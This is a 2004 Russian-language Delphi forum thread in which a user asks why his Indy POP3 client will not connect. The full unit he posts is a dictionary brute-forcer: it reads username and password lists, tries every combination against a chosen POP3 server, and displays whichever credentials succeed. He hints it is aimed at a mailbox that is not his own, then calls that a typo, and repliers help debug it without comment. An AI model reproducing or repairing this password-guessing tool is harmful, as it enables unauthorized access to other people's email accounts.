Мастера DELPHI (документация, исходники, скачать)

Основная («Начинающим»)/ Базы / WinAPI / Компоненты / Сети / Media / Игры / Corba и COM / KOL / FreePascal / .Net / Прочее / RSDN.ORG

« предыдущая ветвь | форум | следующая ветвь »

Неконнектиться к pop3 .. в чём может быть проблема ? [D7, WinXP]

Федя Мегатронов © (2004-05-18 00:13:00)
С помощью компонента idPOP3 (indy) пытаюсь законнектиться к своей почте ... к серваку pop.mail.ru ... на 110 порт

пароль (idPOP31.Password) и логин (idPOP31.Username) указываю ...

потом делаю

try
idPOP31.Connect;
except;
end;

if ifPOP31.Connected
then
begin
ShowMessage('бла-бла');
idPOP31.Disconnect;
exit;
end;

компилю ... и нефига ... нажимаю "Коннектиться" ... интерфейс программы сначала начинает сильно тормозить .. потом может уйти в "не отвечает" .. но заветной надписи "бла-бла" так и не выводит ..

в чём может быть проблема ???

Федя Мегатронов (2004-05-20 19:11:00) [1]
это подлая опечатка .. там должно быть написано НА СВОЁМ ящике

Reindeer Moss Eater (2004-05-20 09:32:00) [2]
С помощью компонента idPOP3 (indy) пытаюсь законнектиться к своейпочте ...

упоминаеться что пароль для этого логина якобы неверный ... но я это дело пробую не своём ящике8)

Федя Мегатронов (2004-05-19 19:40:00) [3]
убрал Try ... он теперь долго висит, но потом пишет исключение в котором упоминаеться что пароль для этого логина якобы неверный ... но я это дело пробую не своём ящике 8) так что здесь что-то не так ...

Reindeer Moss Eater (2004-05-19 09:18:00) [4]
потом делаю

try
idPOP31.Connect;
except;
end;

Замечательно делаешь.
Делаешь все, что бы не узнать причины ошибки.
Потом на форуме спрашиваешь, в чем ошибка.

try
idPOP31.Connect;
except;
on E:Exception do ShowMessage(E.Message)
end;

либо просто

idPOP31.Connect;

~ls (2004-05-19 08:17:00) [5]
А просто вот так не пробывал?

idpop3.host:='pop.mail.ru';
idpop3.port=110;
idpop3.username:='mylogin';
idpop3.password:='mypassword';
idpop3.connect;

if idpop3.connected then showmessage('OK');

???

Федя Мегатронов (2004-05-18 23:19:00) [6]
unit MBUnit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, Menus, StdCtrls, IdAntiFreezeBase, IdAntiFreeze,
IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient,
IdMessageClient, IdPOP3;

type
TForm1 = class(TForm)
NamEd: TEdit;
PasEd: TEdit;
SerNamEd: TEdit;
PorEd: TEdit;
Label1: TLabel;
Label2: TLabel;
Label3: TLabel;
Label4: TLabel;
MainMenu1: TMainMenu;
N1: TMenuItem;
N2: TMenuItem;
N3: TMenuItem;
N4: TMenuItem;
Button1: TButton;
Button2: TButton;
SaveDialog1: TSaveDialog;
Button3: TButton;
IdPOP31: TIdPOP3;
IdAntiFreeze1: TIdAntiFreeze;
Button4: TButton;
Label5: TLabel;
procedure N2Click(Sender: TObject);
procedure N4Click(Sender: TObject);
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure Button3Click(Sender: TObject);
procedure Button4Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
make : Boolean;
end;

var
Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.N2Click(Sender: TObject);
begin
Close;
end;

procedure TForm1.N4Click(Sender: TObject);
begin
ShowMessage('АБАУТ');
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
If SaveDialog1.Execute
then
NamEd.Text := SaveDialog1.FileName;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
If SaveDialog1.Execute
then
PasEd.Text := SaveDialog1.FileName;
end;

procedure TForm1.Button3Click(Sender: TObject);
var
NamStr, PasStr : TStrings;
i, j : Integer;
begin
Make := true;

NamStr := TStringList.Create;
PasStr := TStringList.Create;

if NamEd.Text = ''
then
begin
ShowMessage('Нету фаила с именами');
Exit;
end;

if PasEd.Text = ''
then
begin
ShowMessage('нету фаила с паролями');
Exit;
end;

if SerNamEd.Text = ''
then
begin
ShowMessage('неуказан POP3 сервер');
Exit;
end;

if PorEd.Text = ''
then
begin
ShowMessage('Не указан порт');
Exit;
end;

NamStr.LoadFromFile(NamEd.Text);
PasStr.LoadFromFile(PasEd.Text);

idPOP31.Host := SerNamEd.Text;
idPOP31.Port := StrToInt(PorEd.Text);

for i := 0 to NamStr.Count -1 do
for j := 0 to PasStr.Count -1 do
begin

if Make = false
then
begin
NamStr.Free;
PasStr.Free;
exit;
end;

Label5.Caption := IntToStr(j); //показывает сколько паролей уже перебрано

idPOP31.UserName := NamStr.Strings[i];
idPOP31.Password := PasStr.Strings[j];

try
idPOP31.Connect;
except
end;

if idPOP31.Connected
then
begin
Application.MessageBox(PChar('Логин:'+NamStr.Strings[i]+
'Пасс'+PasStr.Strings[j]), 'Готово');
idPOP31.Disconnect;
Exit;
end;
end;

NamStr.Free;
PasStr.Free;
end;

procedure TForm1.Button4Click(Sender: TObject);
begin
Make := false;
end;

end.

вырезать ничего не стал ... малоли что 8)

Rouse_ (2004-05-18 22:54:00) [7]
Приведи код...

Федя Мегатронов (2004-05-18 21:51:00) [8]
Антифриз стоит ...

в том-то и дело что ошибки никакой ... просто ничего не делает ...

прокси небыло ...

Из за фаирволла тоже не может быть .. я его отрубил совсем для этого ...

Зы может быть с антифризом что-то не так ?? я его просто добавил и всё .. может его настроить как-то надо ?

Rouse_ (2004-05-18 21:45:00) [9]
Ну во первых idAntiFreeze
а во вторых что за ошибка, ну и в третьих может быть прокси не пускает?

Федя Мегатронов (2004-05-18 21:35:00) [10]
Удалено модератором

Наверх

	« предыдущая ветвь \| форум \| следующая ветвь »